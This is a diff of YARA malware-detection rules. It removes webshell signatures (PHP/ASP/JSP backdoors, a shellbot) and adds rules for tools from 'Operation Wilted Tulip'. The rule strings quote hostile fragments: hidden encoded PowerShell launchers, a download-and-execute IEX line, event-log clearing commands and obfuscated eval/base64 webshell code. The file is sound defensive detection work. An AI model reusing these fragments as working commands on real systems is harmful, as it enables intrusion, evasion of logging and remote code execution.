+		hash1 = "b33fd3420bffa92cadbe90497b3036b5816f2157100bf1d9a3b6c946108148bf"
 
 	strings:
-		$sAuthor = "ShAnKaR"
-		$s0 = "<input type=checkbox name='dd' \".(isset($_POST['dd'])?'checked':'').\">DB<input"
-		$s3 = "Show<input type=text size=5 value=\".((isset($_POST['br_st']) && isset($_POST['b"
+		$s1 = "('wevtutil.exe el') DO (call :do_clear" fullword ascii
+		$s2 = "wevtutil.exe cl %1" fullword ascii
 
 	condition:
-		1 of ($s*) and $sAuthor
+		filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_Casus15_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Powershell
 {
 	meta:
-		description = "Semi-Auto-generated  - file Casus15.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ba6748a2-fb80-5eda-816c-155bab9285e5"
-		date = "2023-12-05"
+		description = "Detects powershell script used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b6246508-a6ff-5a02-a0de-9cde139f0acc"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3682-L3694"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5e2ede2d1c4fa1fcc3cbfe0c005d7b13"
-		logic_hash = "6ee7a07163d33ca329d3be2084406629711db14db4605e8413ee963eb0f9d5a7"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L47-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "57d28f7b79cc14b8bbc2d7c9b2c16ab0f94a4b160cf7cb1d4641fe1c77e06811"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e5ee1f45cbfdb54b02180e158c3c1f080d89bce6a7d1fe99dd0ff09d47a36787"
 
 	strings:
-		$s0 = "copy ( $dosya_gonder2, \"$dir/$dosya_gonder2_name\") ? print(\"$dosya_gonder2_na"
-		$s2 = "echo \"<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'"
-		$s3 = "value='Calistirmak istediginiz "
+		$x1 = "powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+" ascii
 
 	condition:
 		1 of them
 }
-rule SIGNATURE_BASE_Small_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Vminst : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file small.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "cf4fb88f-a312-560d-be0b-b55bfcb889be"
-		date = "2023-12-05"
+		description = "Detects malware used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5d21e515-eb7b-56ab-acc2-f09065769b2d"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3695-L3707"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fcee6226d09d150bfa5f103bee61fbde"
-		logic_hash = "e0444aa604e8956d423037b70b9476f5653503055d0f1bc875d43de144ce5c44"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L62-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4559c2f4de60537827d167453751a92c0030ae6ce095a2d64df777e93d4b87a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "930118fdf1e6fbffff579e65e1810c8d91d4067cbbce798c5401cf05d7b4c911"
 
 	strings:
-		$s1 = "$pass='abcdef1234567890abcdef1234567890';" fullword
-		$s2 = "eval(gzinflate(base64_decode('FJzHkqPatkU/550IGnjXxHvv6bzAe0iE5+svFVGtKqXMZq05x1"
-		$s4 = "@ini_set('error_log',NULL);" fullword
+		$x1 = "\\C++\\Trojan\\Target\\" ascii
+		$s1 = "%s\\system32\\rundll32.exe" fullword wide
+		$s2 = "$C:\\Windows\\temp\\l.tmp" fullword wide
+		$s3 = "%s\\svchost.exe" fullword wide
+		$s4 = "args[10] is %S and command is %S" fullword ascii
+		$s5 = "LOGON USER FAILD " fullword ascii
+		$s6 = "vminst.tmp" fullword wide
+		$s7 = "operator co_await" fullword ascii
+		$s8 = "?ReflectiveLoader@@YGKPAX@Z" fullword ascii
+		$s9 = "%s -k %s" fullword wide
+		$s10 = "ERROR in %S/%d" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 5 of ($s*))
 }
-rule SIGNATURE_BASE_Shellbot_Pl
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Windows_UM_Task
 {
 	meta:
-		description = "Semi-Auto-generated  - file shellbot.pl.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "07c145b1-c9f7-564a-b354-a6d2072f380c"
-		date = "2023-12-05"
+		description = "Detects a Windows scheduled task as used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d827584e-8298-56e4-8466-90950d1f286e"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3708-L3722"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b2a883bc3c03a35cfd020dd2ace4bab8"
-		logic_hash = "5db224e4fe8608bb53f044ca6c0361dc66cadd58c6d4ea5ab4f8ae14ebde0e6e"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L90-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cfc2d231b6be798172e5d7ffc525842c7eed6d78a145c401136452c46f21e3b2"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4c2fc21a4aab7686877ddd35d74a917f6156e48117920d45a3d2f21fb74fedd3"
 
 	strings:
-		$s0 = "ShellBOT"
-		$s1 = "PacktsGr0up"
-		$s2 = "CoRpOrAtIoN"
-		$s3 = "# Servidor de irc que vai ser usado "
-		$s4 = "/^ctcpflood\\s+(\\d+)\\s+(\\S+)"
+		$r1 = "<Command>C:\\Windows\\syswow64\\rundll32.exe</Command>" fullword wide
+		$p1 = "<Arguments>\"C:\\Users\\public\\" wide
+		$c1 = "svchost64.swp\",checkUpdate" wide ascii
+		$c2 = "svchost64.swp,checkUpdate" wide ascii
 
 	condition:
-		2 of them
+		($r1 and $p1) or 1 of ($c*)
 }
-rule SIGNATURE_BASE_Fuckphpshell_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Windowstask
 {
 	meta:
-		description = "Semi-Auto-generated  - file fuckphpshell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "010db63b-ff72-5f97-8651-a1c7851471ff"
-		date = "2023-12-05"
+		description = "Detects hack tool used in Operation Wilted Tulip - Windows Tasks"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ad8193f0-e664-50a8-ab05-38027a2e33cd"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3723-L3736"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "554e50c1265bb0934fcc8247ec3b9052"
-		logic_hash = "0c993960b4ca880b818c7b7ba726479ed1c64c46ef8ca82d3c990d69ebe43f42"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L109-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2bbcb02f34b2da3d88772d211cc7bfb669384161eec94336cdc2474144b16ae"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c"
+		hash2 = "340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d"
+		hash3 = "b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01"
+		hash4 = "5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a"
+		hash5 = "984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34"
 
 	strings:
-		$s0 = "$succ = \"Warning! "
-		$s1 = "Don`t be stupid .. this is a priv3 server, so take extra care!"
-		$s2 = "\\*=-- MEMBERS AREA --=*/"
-		$s3 = "preg_match('/(\\n[^\\n]*){' . $cache_lines . '}$/', $_SESSION['o"
+		$x1 = "<Command>C:\\Windows\\svchost.exe</Command>" fullword wide
+		$x2 = "<Arguments>-nop -w hidden -encodedcommand" wide
+		$x3 = "-encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgA"
 
 	condition:
-		2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Ngh_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Tdtess : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file ngh.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "2d8ff3c1-d6b3-57ce-8213-232b376dbd05"
-		date = "2023-12-05"
+		description = "Detects malicious service used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0ecb391b-a4f9-5362-bb65-73801ae497de"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3737-L3751"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c372b725419cdfd3f8a6371cfeebc2fd"
-		logic_hash = "c794b216bafdaecf5bd138cc8c7552efbb8c3c571a441489d02a19793a4c294f"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L130-L147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ffd10e06b3a8f3054747443b863070e8726589fc795f816832dbf73c0c34e080"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3fd28b9d1f26bd0cee16a167184c9f4a22fd829454fd89349f2962548f70dc34"
 
 	strings:
-		$s0 = "Cr4sh_aka_RKL"
-		$s1 = "NGH edition"
-		$s2 = "/* connectback-backdoor on perl"
-		$s3 = "<form action=<?=$script?>?act=bindshell method=POST>"
-		$s4 = "$logo = \"R0lGODlhMAAwAOYAAAAAAP////r"
+		$x1 = "d2lubG9naW4k" fullword wide
+		$x2 = "C:\\Users\\admin\\Documents\\visual studio 2015\\Projects\\Export\\TDTESS_ShortOne\\WinService Template\\" ascii
+		$s1 = "\\WinService Template\\obj\\x64\\x64\\winlogin" ascii
+		$s2 = "winlogin.exe" fullword wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 2 of them ))
 }
-rule SIGNATURE_BASE_Jsp_Reverse_Jsp
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Silverlightmsi : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file jsp-reverse.jsp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4953b230-4cd9-55d6-a3cb-8d3713e7fb0c"
-		date = "2023-12-05"
+		description = "Detects powershell tool call Get_AD_Users_Logon_History used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6430d464-b9c7-5f19-b89d-3c70f99af688"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3752-L3764"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8b0e6779f25a17f0ffb3df14122ba594"
-		logic_hash = "bdd2db4c032b25faaaf3a3a8e769000013f643ecfcb8b0374165a244ad2162a6"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L149-L165"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "716db8f8e7d71c7f3deaeb9ac8e141c9bf374e5dae992e8e2623070c81089953"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c75906dbc3078ff81092f6a799c31afc79b1dece29db696b2ecf27951a86a1b2"
 
 	strings:
-		$s0 = "// backdoor.jsp"
-		$s1 = "JSP Backdoor Reverse Shell"
-		$s2 = "http://michaeldaw.org"
+		$x1 = ".\\Get_AD_Users_Logon_History.ps1 -MaxEvent" fullword ascii
+		$x2 = "if ((Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly -ErrorAction \"SilentlyContinue\").Type -eq \"PTR\")" fullword ascii
+		$x3 = "$Client_Name = (Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly).NameHost  " fullword ascii
+		$x4 = "########## Find the Computer account in AD and if not found, throw an exception ###########" fullword ascii
 
 	condition:
-		2 of them
+		( filesize <20KB and 1 of them )
 }
-rule SIGNATURE_BASE_Tool_Asp
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Matryoshka_Injector : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Tool.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "e5e727bd-836b-5540-8755-40f37904bc03"
-		date = "2023-12-05"
+		description = "Detects hack tool used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e4cf2a31-33c8-5db1-84ca-f63b65a0a0a3"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3765-L3778"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8febea6ca6051ae5e2ad4c78f4b9c1f2"
-		logic_hash = "d6bd782302b2c614fc572babb3825c0e1fcd0de5841ca8541ca27580ccc274d4"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L167-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e02d26882c85b77bd97629fce20bd027e1f5f7e28ae0c43c9ea7a4b1e5d02cd1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c41e97b3b22a3f0264f10af2e71e3db44e53c6633d0d690ac4d2f8f5005708ed"
+		hash2 = "b93b5d6716a4f8eee450d9f374d0294d1800784bc99c6934246570e4baffe509"
 
 	strings:
-		$s0 = "mailto:rhfactor@antisocial.com"
-		$s2 = "?raiz=root"
-		$s3 = "DIGO CORROMPIDO<BR>CORRUPT CODE"
-		$s4 = "key = \"5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA0"
+		$s1 = "Injector.dll" fullword ascii
+		$s2 = "ReflectiveLoader" fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them ) or (pe.exports("__dec") and pe.exports("_check") and pe.exports("_dec") and pe.exports("start") and pe.exports("test"))
 }
-rule SIGNATURE_BASE_NT_Addy_Asp
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Zpp : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file NT Addy.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "18f5f360-8690-5e09-ac18-b8cc4f678811"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3779-L3791"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2e0d1bae844c9a8e6e351297d77a1fec"
-		logic_hash = "0fc61d5e276786b8be822712cdcfc81146998e535532e44d3da92e0668713a48"
+		description = "Detects hack tool used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7d833cb2-485e-5a26-be2f-aaebde7fdef2"
+		date = "2017-07-23"
+		modified = "2022-12-21"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L191-L215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32c91f8a02443a6f024acb3f941b7f11472e7f1517c54a3c7edc89ce88ba73e0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "10ec585dc1304436821a11e35473c0710e844ba18727b302c6bd7f8ebac574bb"
+		hash2 = "7d046a3ed15035ea197235980a72d133863c372cc27545af652e1b2389c23918"
+		hash3 = "6d6816e0b9c24e904bc7c5fea5951d53465c478cc159ab900d975baf8a0921cf"
 
 	strings:
-		$s0 = "NTDaddy v1.9 by obzerve of fux0r inc"
-		$s2 = "<ERROR: THIS IS NOT A TEXT FILE>"
-		$s4 = "RAW D.O.S. COMMAND INTERFACE"
+		$x1 = "[ERROR] Error Main -i -s -d -gt -lt -mb" fullword wide
+		$x2 = "[ERROR] Error Main -i(with.) -s -d -gt -lt -mb -o -e" fullword wide
+		$s1 = "LT Time invalid" fullword wide
+		$s2 = "doCompressInNetWorkDirectory" fullword ascii
+		$s3 = "files remaining ,total file save = " fullword wide
+		$s4 = "$ec996350-79a4-477b-87ae-2d5b9dbe20fd" fullword ascii
+		$s5 = "Destinition Directory Not Found" fullword wide
+		$s6 = "\\obj\\Release\\ZPP.pdb" ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <30KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Simattacker___Vrsion_1_0_0___Priv8_4_My_Friend_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Netsrv_Netsrvs : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "8a34f4fd-337d-5eb4-b7b7-4adb1c2b7937"
-		date = "2023-12-05"
+		description = "Detects sample from Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4b58bb08-88da-535c-8ce5-e7113e5b7045"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3792-L3804"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
-		logic_hash = "46bc4063d06b4af3e4e61e1e998d489e974e76f17363c9777b8afc39ff21f698"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L217-L242"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1506d1eddd43731c00e5f01a292589b07de5055bbdd7b1f7c2d7ac7a09b8ae58"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a062cb4364125427b54375d51e9e9afb0baeb09b05a600937f70c9d6d365f4e5"
+		hash2 = "afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77"
+		hash3 = "acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a"
+		hash4 = "bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361"
+		hash5 = "07ab795eeb16421a50c36257e6e703188a0fef9ed87647e588d0cd2fcf56fe43"
 
 	strings:
-		$s0 = "SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend"
-		$s3 = " fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
-		$s4 = "echo \"<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decora"
+		$s1 = "Process %d Created" fullword ascii
+		$s2 = "%s\\system32\\rundll32.exe" fullword wide
+		$s3 = "%s\\SysWOW64\\rundll32.exe" fullword wide
+		$c1 = "slbhttps" fullword ascii
+		$c2 = "/slbhttps" fullword wide
+		$c3 = "/slbdnsk1" fullword wide
+		$c4 = "netsrv" fullword wide
+		$c5 = "/slbhttps" fullword wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*) and 1 of ($c*)))
 }
-rule SIGNATURE_BASE_Remexp_Asp
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Reflectiveloader : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file RemExp.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "900036ce-ff13-5441-bb77-906ea08a4ca0"
-		date = "2023-12-05"
+		description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0c7dfb44-8acb-5f36-9683-745560f1f795"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3805-L3817"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
-		logic_hash = "c7da9908a0252e95b47dbc8fbb36aeac1661dc464123aaca036bd51047a31584"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L244-L268"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9488d2e97d0ea031a138e72964a3b56781f9d05c1676ff0b360407db944e26de"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
+		hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
+		hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
+		hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
+		hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
 
 	strings:
-		$s0 = "<title>Remote Explorer</title>"
-		$s3 = " FSO.CopyFile Request.QueryString(\"FolderPath\") & Request.QueryString(\"CopyFi"
-		$s4 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+		$x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+		$x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$x4 = "Failed to impersonate token from %d (%u)" fullword ascii
+		$x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+		$x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <600KB and 1 of them ) or (2 of them ) or pe.exports("_ReflectiveLoader@4")
 }
-rule SIGNATURE_BASE_Phvayvv_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_Wiltedtulip_Matryoshka_RAT : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file phvayvv.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "76351a59-8f52-5110-a9b8-36edd59026df"
-		date = "2023-12-05"
+		description = "Detects Matryoshka RAT used in Operation Wilted Tulip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e851e212-bb71-55c9-9bc1-0041bb04bef5"
+		date = "2017-07-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3818-L3830"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "35fb37f3c806718545d97c6559abd262"
-		logic_hash = "503a69a7e2c30cc82eba430082627bb93c459a95f675b968126bf4524c598863"
+		reference = "http://www.clearskysec.com/tulip"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wilted_tulip.yar#L270-L289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9e878d9e3dc3f2050e52a046038f4f855b5b777948d928e0bc6d7a98fc0a7119"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6f208473df0d31987a4999eeea04d24b069fdb6a8245150aa91dfdc063cd64ab"
+		hash2 = "6cc1f4ecd28b833c978c8e21a20a002459b4a6c21a4fbaad637111aa9d5b1a32"
 
 	strings:
-		$s0 = "{mkdir(\"$dizin/$duzenx2\",777)"
-		$s1 = "$baglan=fopen($duzkaydet,'w');"
-		$s2 = "PHVayv 1.0"
+		$s1 = "%S:\\Users\\public" fullword wide
+		$s2 = "ntuser.dat.swp" fullword wide
